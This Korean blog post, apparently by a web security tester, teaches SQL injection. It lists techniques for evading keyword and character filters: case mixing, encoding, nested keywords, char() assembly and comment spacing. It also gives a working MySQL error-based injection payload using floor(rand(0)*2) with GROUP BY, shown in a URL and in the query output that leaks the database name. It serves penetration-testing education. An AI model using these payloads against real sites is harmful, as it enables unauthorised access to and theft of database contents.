SQLinjection


웹 점검을 하다 보면, 웹 방화벽 혹은 소스상에서 특정 키워드를 필터링 하는 경우를 볼 수 있다. 


이러한 경우 우회를 하기 위해선 먼저 어떤 문자열들이 필터링 당하는지 확인을 할 필요가 있다.


중요한 것은 먼저 필터링을 "발견" 하는 것이다. 필터링이 적용된 페이지 혹은 사이트의 경우


반응은 여러가지이다. 특정 문자열이 포함될 시 웹사이트의 반응은 아래와 같이 여러가지일 수 있다.



1) 500 에러 발생

2) 200 이지만 에러 페이지로 리다이렉트

3) 그냥 치환

4) 에러 메시지를 통한 자세한 정보 노출

5) 기타.. 



가장 편한 경우는 4) 의 경우이고, 다른 몇가지 경우에도 간단히 필터링되는 문자열을 찾아낼 수 있다.


1) 정상적인 페이지

 view.jsp?no=1155 


2) ' 가 필터링 되지 않아 아래의 경우에도 위와 동일한 응답

 view.jsp?no=11'55

 

3) " 는 필터링 되어 오류 메시지

 view.jsp?no=1155


위와 같은 방식으로 여러가지 특수문자들을 대입해 보면 필터링 당하는 문자열들을 발견할 수 있다.


필터링 당하는 문자열을 파악하고 나면, 공격 페이로드를 구성한 뒤 필터링 당하는 문자열들을 다른 문자열 혹은


함수를 이용하여 우회한다.


1. SQL Injection 

  1) 키워드 필터링 시

   - select, union 등 키워드 우회

      -> SeLEct

      -> s%E%l%e%c%T

      -> selselectect


   - or, and, = 등 필터링 시

      -> ^, |, & 사용

      -> like, between 사용


   - ' 필터링 시 문자열 조립

      -> char(0x41) + char(0x48) 

    

   - 공백 필터링

      -> /**/, %20, %2b, + , %09 등


                                                         ...(작성중)...

 

 

SQL Injection 에서도 에러 기반 인젝션은 상당히 쉽고 빠른 방법 중 하나로 알려져 있습니다.

 

에러메시지를 기반으로 하기 때문에 결과값을 눈으로 확인할 수 있고 한번 공격에 한번이상 쿼리 결과 확인이

 

가능하기 때문입니다. 하지만 주로 알려진 것은 MSSQL 에서의 에러기반 인젝션이고, 그에 반해 oracle 이나

 

mysql 에러 기반인젝션은 많이 알려져 있지 않습니다. oracle 또한 예전에 제가 글을 올린적이 있었죠~. 이번엔

 

mysql 에서도 이러한 에러기반 인젝션이 가능함을 보여드리고, 또 위험성을 알리려고 합니다.

 

(단순 쿼리 에러메시지 정도야 뭐 어때라고 생각하시면 절대 안된다는 것입니다)

 

 

 

# MySQL Error Based SQL Injection 예시

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
 ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key'

 

위와 같은 쿼리문을 날리면 group by 키워드에 해당하는 a필드가 중복되기 때문에 보시는 바와 같이 오류 메시지를

 

통해원하는 쿼리문의 결과를 확인 할 수 있습니다.

 

 

 

# ex) http://www.test.com/view.php?id=hyunmini

 

1) 정상 쿼리문

 -> http://www.test.com/view.php?id=hyunmini

 mysql> select id,name from userinfo where name='hyunmini';
+------+----------+
| id   | name     |
+------+----------+
| test | hyunmini |
+------+----------+
1 row in set (0.00 sec)

 

2) 에러기반 인젝션 공격 쿼리문

 -> http://www.test.com/view.php?id=xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#
 

 mysql> select id,name from userinfo where id='xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b);
ERROR 1062 (23000): Duplicate entry 'result: test :1' for key 'group_key'

 

 

어차피 인젝션이 존재한다는 가정하게 가능한 것이긴 하지만, blind 보다 데이터를 빼내오는 속도가 월등히 빠르기 때

 

문에 유용할 수 있습니다. 그럼 이만~

 

+ Recent posts